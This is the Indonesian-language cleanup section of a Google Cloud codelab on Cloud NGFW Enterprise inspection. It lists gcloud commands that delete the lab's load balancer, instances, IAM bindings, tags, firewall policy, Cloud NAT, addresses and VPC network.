Tentukan variabel lingkungan jika diperlukan. Dari Cloud Shell, hapus komponen Load Balancer Jaringan:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
Menghapus instance:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
Atau, lakukan langkah-langkah di bawah jika peran tagAdmin dan tagUsers diubah:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Menghapus Kunci dan nilai tag:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Hapus Kebijakan Jaringan dan pengaitan Cloud Firewall:
gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Menghapus Cloud Router dan Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Menghapus alamat IP yang dicadangkan:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Terakhir, hapus subnet dan jaringan VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. Selamat!
Selamat, Anda telah berhasil menyelesaikan codelab Cloud NGFW Enterprise untuk Inspeksi Timur-Barat dan Utara-Selatan.